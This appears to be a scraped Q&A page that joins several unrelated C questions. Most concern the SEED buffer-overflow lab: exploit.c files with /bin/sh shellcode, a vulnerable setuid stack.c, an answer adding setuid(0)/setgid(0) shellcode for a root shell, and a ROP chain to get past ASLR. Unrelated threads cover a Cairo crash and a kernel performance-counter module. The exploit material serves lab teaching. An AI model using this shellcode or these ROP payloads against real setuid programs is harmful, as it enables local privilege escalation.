Can't Get Root Shell on Buffer Overflow Assignment - c

I am working an assignment (see http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/) and, when I run ./stack I end up with Trace/breakpoint trap instead of the root shell. The following is my code for exploit.c (which creates badfile) and stack.c (which reads badfile in and uses strcpy to copy it into a buffer that isn't big enough to handle it.
exploit.c
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
memset(buffer + 39, 0xbf, 1);
memset(buffer + 38, 0xff, 1);
memset(buffer + 37, 0xf1, 1);
memset(buffer + 36, 0x40, 1);
strcpy(buffer + 492, shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
stack.c
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
I compiled stack.c and set permissions as root with
root:/home/seed# gcc -g -o stack -z execstack -fno-stack-protector stack.c
root:/home/seed# chown root stack
root:/home/seed# chmod 4755 stack
I compiled exploit.c as myself (seed) with
seed:~$ gcc -g -o exploit exploit.c
I run ./exploit to create badfile, and get no errors. I run ./stack and get Trace/breakpoint trap.
If I run gdb stack I get the shell, but it is not the root shell.
gdb-peda$ run
Starting program: /home/seed/stack
process 24232 is executing new program: /bin/dash
$
If I run seed:~$ ./stack -D_FORTIFY_SOURCE=0 I get the shell, but once again it isn't root.
seed:~$ ./stack -D_FORTIFY_SOURCE=0
$ id
uid=1000(seed) gid=1000(seed)
$
So, what do I need to change to get a root shell?

I guess, you can add setuid() and setgid() syscall in your shellcode.
char shellcode[]=
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0);
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" // setgid(0);
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
Of course, change owner to root

Related

Illegal hardware instruction with clang LLVM compiler while Cairo creates png files

I've tried to execute a C program. And it has compiled right however when I execute the output binary, it displays:
[16] 70041 illegal hardware instruction ./create
So, I add -g option to look like this:
cc create.c $(pkg-config --cflags --libs cairo) -g -o create
And the C code:
#include <cairo.h>
#include <string.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
int main(void){
cairo_surface_t *surface;
cairo_t *cr;
int j=0;
char seq[5];
for(int i=0; i<=360; i+=4){
surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 800, 600);
cr = cairo_create(surface);
cairo_set_line_width (cr, 6.0);
cairo_arc( cr, 800/2, 600/2, (600/2)-50, 0, 2*M_PI );
cairo_stroke (cr);
cairo_set_source_rgb( cr, 0.2, 0.2, i/360 );
cairo_arc( cr, 800/2, 600/2, (600/2)-60, 0, i*(M_PI/180.0) );
cairo_stroke(cr);
j++;
if( j<10 ){ sprintf(seq, "%s%d%d", "seq", 0, j); } else { sprintf(seq, "%s%d", "seq", j); }
cairo_surface_write_to_png(surface, seq);
cairo_surface_destroy(surface);
}
cairo_destroy(cr);
return 0;
}
The purpose of above code is create a sequence of pngs pictures. But there isn't any warning at the output.
I include the lldb output:
(lldb) target create "create"
Current executable set to '/Users/rikky/Documents/C/Cairo/FirstDraw/create' (x86_64).
(lldb) l
7 int main(void){
8 cairo_surface_t *surface;
9 cairo_t *cr;
10 int j=0;
11 char seq[5];
12
13 for(int i=0; i<=360; i+=4){
14 surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 800, 600);
15 cr = cairo_create(surface);
16 cairo_set_line_width (cr, 6.0);
(lldb) run
Process 70245 launched: '/Users/rikky/Documents/C/Cairo/FirstDraw/create' (x86_64)
Process 70245 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_INSTRUCTION (code=EXC_I386_INVOP, subcode=0x0)
frame #0: 0x00007fff6e80ffca libsystem_c.dylib`__chk_fail_overflow.cold.1 + 16
libsystem_c.dylib`__chk_fail_overflow.cold.1:
-> 0x7fff6e80ffca <+16>: ud2
libsystem_c.dylib`__chk_fail_overlap.cold.1:
0x7fff6e80ffcc <+0>: pushq %rbp
0x7fff6e80ffcd <+1>: movq %rsp, %rbp
0x7fff6e80ffd0 <+4>: leaq 0x6e41(%rip), %rdi ; "detected source and destination buffer overlap"
Target 0: (create) stopped.
I didn't understand the EXC_I386_INVOP code. Is there any way to fix it?
The Clang Version:
Apple clang version 12.0.0 (clang-1200.0.32.2)
Target: x86_64-apple-darwin19.6.0
Thread model: posix
InstalledDir: /Library/Developer/CommandLineTools/usr/bin

Buffer Overflow, modified Seedlab question?

In this Lab, I have exploit.c, stack.c and call_shellcode.c. Stack.c has been modifed so it prints out the buffer address and ebp address. I am running this on Virtual Machine, ubuntu 12.04 32 bit.
I have to use the vulnerable program stack.c and put code in exploit.c in order to create a shell when running my stack executable. Any help is appreciated.
Stack.c is down below Sorry for bad indentation, actual code has proper indentation.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
unsigned long int sp;
int cp(char *str)
{
// unsigned long int sp;
char buffer[12];
asm("movl %%ebp, %0" : "=r" (sp));
printf("$ebp is 0X%lx\n",sp);
strcpy(buffer, str);
printf("Buffer is at address %p\n",(void*)(&buffer));
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
cp(str);
printf("Returned Properly\n");
return 1;
}
And exploit.c is down below.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
I have ran gdb on my stack executable, compiled with gcc -o stack -z execstack -fno-stack-protector stack.c, and have found the buffer to be at address 0xbffff134 and ebp at 0xbffff148. I understand I have to somehow find my return address and make my payload be at that addresss? Some help regarding bufferoverflow with this assignment is needed please.
You need bypass ASLR, refer to the link below
https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-iii/
Find gadget:
pop ebx; ret; // construct ebx value
add al, 0x08; add dword [ebx+0x5D5B04C4], eax; ret; // construct eax value
add dword [ebx+0x0804A028], esp; call dword [0x08049F1C+eax*4]
construct eax and ebx value
write the ESP value to the 0804a020 memory, then execute it
Modified exploit.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
int main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
int i;
unsigned int *val = (unsigned int*)buffer;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
val[6] = 0x08048378; /* pop ebx; ret; */
val[7] = 0xaaa9a03c; /* ebx */
for(i=8; i<16; i++)
val[i] = 0x0804847c; /* add al, 0x08; add dword [ebx+0x5D5B04C4], eax; ret; */
val[16] = 0x08048378; /* pop ebx; ret; */
val[17] = 0xfffffff8; /* ebx */
val[18] = 0x08048462; /* add dword [ebx+0x0804A028], esp; */
/* call dword [0x08049F1C+eax*4] */
memcpy(&val[19], shellcode, sizeof(shellcode));
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
return 0;
}

Shellcode in the signal handler

Why won't my shellcode (int3) be hit with the signal handler?
Apart from not like to have printf() in the handler, I care
for how to deliver the shellcode (as not inline assembler)
within the signal handler, being executed at runtime.
However, I present here a longer gdb session, that shows register
state and backtrace.
<code> Pid 19750 waiting for SIGUSR1 Program received signal SIGUSR1,
User defined signal 1. 0x0e5f9f89 in nanosleep () at <stdin>:2 2
<stdin>: No such file or directory.
in <stdin> Current language: auto; currently asm (gdb) bt
#0 0x0e5f9f89 in nanosleep () at <stdin>:2
#1 0x0e650348 in sleep (seconds=10) at /usr/src/lib/libc/gen/sleep.c:45
#2 0x18cb3d5b in main () at sig5.c:37 (gdb) i r eax 0x5b 91 ecx 0x0 0 edx 0xa 10 ebx
0x2e5df594 777909652 esp 0xcfbf73fc 0xcfbf73fc
ebp 0xcfbf7438 0xcfbf7438 esi 0x38cb62df
952853215 edi 0x38cb61e0 952852960 eip
0xe5f9f89 0xe5f9f89 eflags 0x206 518 cs
0x2b 43 ss 0x33 51 ds 0x33 51 es
0x33 51 fs 0x5b 91 gs 0x63 99
(gdb) c Continuing.
Program received signal SIGUSR1, User defined signal 1. 0x0e5f9f89 in
nanosleep () at <stdin>:2 2 in <stdin> (gdb) c Continuing.
Signal 30 from pid 0, should int3
Program received signal SIGSEGV, Segmentation fault. 0x18cb3c7a in
sigusr1 (signo=30, si=0xcfbf737c, data=0xcfbf7328) at sig5.c:23 23
ret(); Current language: auto; currently c (gdb) bt
#0 0x18cb3c7a in sigusr1 (signo=30, si=0xcfbf737c, data=0xcfbf7328) at sig5.c:23
#1 <signal handler called>
#2 0x0e5f9f89 in nanosleep () at <stdin>:2
#3 0x0e650348 in sleep (seconds=10) at /usr/src/lib/libc/gen/sleep.c:45
#4 0x18cb3d5b in main () at sig5.c:37 (gdb) i r eax 0xcfbf7305 -809536763 ecx 0x0 0 edx
0x0 0 ebx 0x38cb5124 952848676 esp
0xcfbf72e8 0xcfbf72e8 ebp 0xcfbf7310 0xcfbf7310
esi 0x38cb62df 952853215 edi 0x38cb61e0
952852960 eip 0x18cb3c7a 0x18cb3c7a eflags
0x10282 66178 cs 0x2b 43 ss 0x33 51
ds 0x33 51 es 0x33 51 fs
0x5b 91 gs 0x63 99 (gdb) bt full
#0 0x18cb3c7a in sigusr1 (signo=30, si=0xcfbf737c, data=0xcfbf7328) at sig5.c:23
code = "ëÌ"
ret = (int (*)()) 0xcfbf7305
#1 <signal handler called> No symbol table info available.
#2 0x0e5f9f89 in nanosleep () at <stdin>:2 No locals.
#3 0x0e650348 in sleep (seconds=10) at /usr/src/lib/libc/gen/sleep.c:45
rqt = {tv_sec = 10, tv_nsec = 0}
rmt = {tv_sec = 0, tv_nsec = 0}
#4 0x18cb3d5b in main () at sig5.c:37
sa = {__sigaction_u = {__sa_handler = 0x18cb3c04 <sigusr1>,
__sa_sigaction = 0x18cb3c04 <sigusr1>}, sa_mask = 0, sa_flags = 64}
-bash-4.3$ cat sig5.c
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void sigusr1(int signo, siginfo_t *si, void *data) {
(void)signo;
(void)data;
unsigned char code[] = \
"\xeb\xcc";
int (*ret)() = (int(*)())code;
printf("Signal %d from pid %lu, should int3\n", (int)si->si_signo,
(unsigned long)si->si_pid);
sleep (1);
ret();
exit(0); }
int main(void) {
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_flags = SA_SIGINFO;
sa.sa_sigaction = sigusr1;
if (sigaction(SIGUSR1, &sa, 0) == -1) {
fprintf(stderr, "%s: %s\n", "sigaction", strerror(errno));
}
printf("Pid %lu waiting for SIGUSR1\n", (unsigned long)getpid());
for (;;) {
sleep(10);
}
return 0; } </code>
Any Ideas?
So this uses mprotect(), but still does not lead to the shell. We really need to update
radare2 shellcode sources :)
<code>
#include "errno.h"
#include "signal.h"
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "unistd.h"
#include "sys/mman.h"
void sigusr1(int signo, siginfo_t *si, void *data) {
(void)signo;
(void)data;
unsigned char sc[] = \
"\xcc";
mprotect(sc,strlen(sc),PROT_EXEC|PROT_READ|PROT_WRITE);
int (*r)() = (int(*)())sc; /* Thanks, maybe change to define? */
r();
}
int main(void) {
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_flags = 5; /* SIGTRAP via Sil... */
sa.sa_sigaction = sigusr1;
if (sigaction(SIGUSR1, &sa, 0) == -1) {
fprintf(stderr, "%s: %s\n", "sigaction", strerror(errno));
}
printf("Pid %lu waiting for SIGUSR1\n", (unsigned long)getpid());
for (;;) {
sleep(10);
}
return 0;
}
</code>

Creating buffer overflow in C (seg fault)

Since our security course doesn't have a lab, i'm trying to solve the Seed project's lab .
http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/Buffer_Overflow.pdf
But there seems to be a problem , The code is not doing the exploit instead it's giving segmentation fault error . Is there something else must be added to the code in order to make it functional ?
The lab says that i have to edit the code below
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

Linux module: performance counter does not work

I want to monitor the cache request number in the last level cache. I wrote a Linux module to get that information based on the tutorial here.
It can compile and run, but the output result is always 0. In other words, when I use rdmsr, it always give me edx=0, eax=0. I even tried the demo code in the tutorial, the output is still 0.
I'm stuck at this problem for a whole week. Could anyone help me point out the mistake I made in the program?
I knew there are some existing programs doing the same thing, but I have to know how to write the code by myself, because I want to monitor the cache request in Xen hypervisor. I cannot use those tools in Xen unless I incorporate the tools into Xen's hypervisor, which seems more work.
/*
* Record the cache miss rate of Intel Sandybridge cpu
* To confirm the event is correctly set!
*/
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
/*4 Performance Counters Selector for %ecx in insn wrmsr*/
#define PERFEVTSEL0 0x186
#define PERFEVTSEL1 0x187
#define PERFEVTSEL2 0x188
#define PERFEVTSEL3 0x189
/*4 MSR Performance Counter for the above selector*/
#define PMC0 0xc1
#define PMC1 0xc2
#define PMC2 0xc2
#define PMC3 0xc3
/*Intel Software Developer Manual Page 2549*/ /*L1I L1D cache events has not been confirmed!*/
/*L1 Instruction Cache Performance Tuning Events*/
#define L1I_ALLHIT_EVENT 0x80
#define L1I_ALLHIT_MASK 0x01
#define L1I_ALLMISS_EVENT 0x80 /*confirmed*/
#define L1I_ALLMISS_MASK 0x02 /*confirmed*/
/*L1 Data Cache Performance Tuning Events*/
/*Intel does not have the ALLREQ Miss mask; have to add LD_miss and ST_miss*/
#define L1D_ALLREQ_EVENT 0x43
#define L1D_ALLREQ_MASK 0x01
#define L1D_LDMISS_EVENT 0x40
#define L1D_LDMISS_MASK 0x01
#define L1D_STMISS_EVENT 0x28
#define L1D_STMISS_MASK 0x01
/*L2 private cache for each core*/ /*confirmed*/
#define L2_ALLREQ_EVENT 0x24
#define L2_ALLREQ_MASK L2_ALLCODEREQ_MASK /*0xFF*/
#define L2_ALLMISS_EVENT 0x24
#define L2_ALLMISS_MASK L2_ALLCODEMISS_MASK /*0xAA*/
#define L2_ALLCODEREQ_MASK 0x30
#define L2_ALLCODEMISS_MASK 0x20
/*L3 shared cache*/ /*confirmed*/
/*Use the last level cache event and mask*/
#define L3_ALLREQ_EVENT 0x2E
#define L3_ALLREQ_MASK 0x4F
#define L3_ALLMISS_EVENT 0x2E
#define L3_ALLMISS_MASK 0x41
#define USR_BIT (0x01UL << 16)
#define OS_BIT (0x01UL << 17)
#define SET_MSR_USR_BIT(eax) eax |= USR_BIT
#define CLEAR_MSR_USR_BIT(exa) eax &= (~USR_BIT)
#define SET_MSR_OS_BIT(eax) eax |= OS_BIT
#define CLEAR_MSR_OS_BIT(eax) eax &= (~OS_BIT)
#define SET_EVENT_MASK(eax, event, umask) eax |= (event | (umask << 8))
/*MSR EN flag: when set start the counter!*/
//#define MSR_ENFLAG (0x1<<22)
#define MSR_ENFLAG (0x1<<22)
/* 32bit insn v3*/
static inline void rtxen_write_msr(uint32_t eax, uint32_t ecx)
{
/*clear counter first*/
__asm__ __volatile__ ("movl %0, %%ecx\n\t"
"xorl %%edx, %%edx\n\t"
"xorl %%eax, %%eax\n\t"
"wrmsr\n\t"
: /* no outputs */
: "m" (ecx)
: "eax", "ecx", "edx" /* all clobbered */);
eax |= MSR_ENFLAG;
__asm__("movl %0, %%ecx\n\t" /* ecx contains the number of the MSR to set */
"xorl %%edx, %%edx\n\t"/* edx contains the high bits to set the MSR to */
"movl %1, %%eax\n\t" /* eax contains the log bits to set the MSR to */
"wrmsr\n\t"
: /* no outputs */
: "m" (ecx), "m" (eax)
: "eax", "ecx", "edx" /* clobbered */);
}
static inline void rtxen_read_msr(uint32_t* ecx, uint32_t *eax, uint32_t* edx)
{ __asm__ __volatile__(\
"rdmsr"\
:"=d" (*edx), "=a" (*eax)\
:"c"(*ecx)
);
}
static inline void delay(void )
{
char tmp[1000];
int i;
for( i = 0; i < 1000; i++ )
{
tmp[i] = i * 2;
}
}
enum cache_level
{
UOPS,
L1I,
L1D,
L2,
L3
};
int init_module(void)
{
enum cache_level op;
uint32_t eax, edx, ecx;
uint64_t l3_all;
op = UOPS;
switch(op)
{
case UOPS:
eax = 0x0001010E;
eax |= MSR_ENFLAG;
ecx = 0x187;
printk(KERN_INFO "UOPS Demo: write_msr: eax=%#010x, ecx=%#010x\n", eax, ecx);
rtxen_write_msr(eax, ecx);
ecx = 0xc2;
eax = 1;
edx = 2;
rtxen_read_msr(&ecx, &eax, &edx);
printk(KERN_INFO "UOPS Demo: read_msr: edx=%#010x, eax=%#010x\n", edx, eax);
break;
case L3:
eax = 0;
SET_MSR_USR_BIT(eax);
SET_MSR_OS_BIT(eax);
SET_EVENT_MASK(eax, L3_ALLREQ_EVENT, L3_ALLREQ_MASK);
eax |= MSR_ENFLAG;
ecx = PERFEVTSEL2;
printk(KERN_INFO "before wrmsr: eax=%#010x, ecx=%#010x\n", eax, ecx);
rtxen_write_msr(eax, ecx);
printk(KERN_INFO "after wrmsr: eax=%#010x, ecx=%#010x\n", eax, ecx);
printk(KERN_INFO "L3 all request set MSR PMC2\n");
printk(KERN_INFO "delay by access an array\n");
delay();
ecx = PMC2;
eax = 1;
edx = 2;
printk(KERN_INFO "rdmsr: ecx=%#010x\n", ecx);
rtxen_read_msr(&ecx, &eax, &edx); /*need to pass into address!*/
l3_all = ( ((uint64_t) edx << 32) | eax );
printk(KERN_INFO "rdmsr: L3 all request is %llu (%#010lx)\n", l3_all, (unsigned long)l3_all);
break;
default:
printk(KERN_INFO "operation not implemented yet\n");
}
/*
* A non 0 return means init_module failed; module can't be loaded.
*/
return 0;
}
void cleanup_module(void)
{
printk(KERN_INFO "Goodbye world 1.\n");
}
The result I have is:
[ 1780.946584] UOPS Demo: write_msr: eax=0x0001010e, ecx=0x00000187
[ 1780.946590] UOPS Demo: read_msr: edx=0x00000000, eax=0x00000000
[ 1818.595055] Goodbye world 1.
[ 1821.153947] UOPS Demo: write_msr: eax=0x0041010e, ecx=0x00000187
[ 1821.153950] UOPS Demo: read_msr: edx=0x00000000, eax=0x00000000
I finally solve it with the help of #Manuel Selva!
The correct flow of setting a perf. counter is:
Step 1: set msr and enable the counter by setting the EN bit in eax;
Step 2: stop the counter by writing to msr
Step 3: read the counter
I missed the step 2, that's why it always gives me 0. It makes sense to report 0 if I want to read the counter before stopping it.
The correct code of the switch statement is as follows:
switch(op)
{
case UOPS:
eax = 0x0051010E;
eax |= MSR_ENFLAG;
ecx = 0x187;
printk(KERN_INFO "UOPS Demo: write_msr: eax=%#010x, ecx=%#010x\n", eax, ecx);
rtxen_write_msr(eax, ecx);
//stop counting
eax = 0x0011010E;
rtxen_write_msr(eax,ecx);
ecx = 0xc2;
eax = 1;
edx = 2;
rtxen_read_msr(&ecx, &eax, &edx);
printk(KERN_INFO "UOPS Demo: read_msr: edx=%#010x, eax=%#010x\n", edx, eax);
break;
case L3:
eax = 0;
SET_MSR_USR_BIT(eax);
SET_MSR_OS_BIT(eax);
SET_EVENT_MASK(eax, L3_ALLREQ_EVENT, L3_ALLREQ_MASK);
eax |= MSR_ENFLAG;
eax |= (1<<20); //INT bit: counter overflow
ecx = PERFEVTSEL2;
printk(KERN_INFO "before wrmsr: eax=%#010x, ecx=%#010x\n", eax, ecx);
rtxen_write_msr(eax, ecx);
printk(KERN_INFO "after wrmsr: eax=%#010x, ecx=%#010x\n", eax, ecx);
printk(KERN_INFO "L3 all request set MSR PMC2\n");
printk(KERN_INFO "delay by access an array\n");
delay();
eax &= (~MSR_ENFLAG);
rtxen_write_msr(eax, ecx);
printk(KERN_INFO "stop the counter, eax=%#010x\n", eax);
ecx = PMC2;
eax = 1;
edx = 2;
printk(KERN_INFO "rdmsr: ecx=%#010x\n", ecx);
rtxen_read_msr(&ecx, &eax, &edx); /*need to pass into address!*/
l3_all = ( ((uint64_t) edx << 32) | eax );
printk(KERN_INFO "rdmsr: L3 all request is %llu (%#010lx)\n", l3_all, (unsigned long)l3_all);
break;
default:
printk(KERN_INFO "operation not implemented yet\n");
}

Resources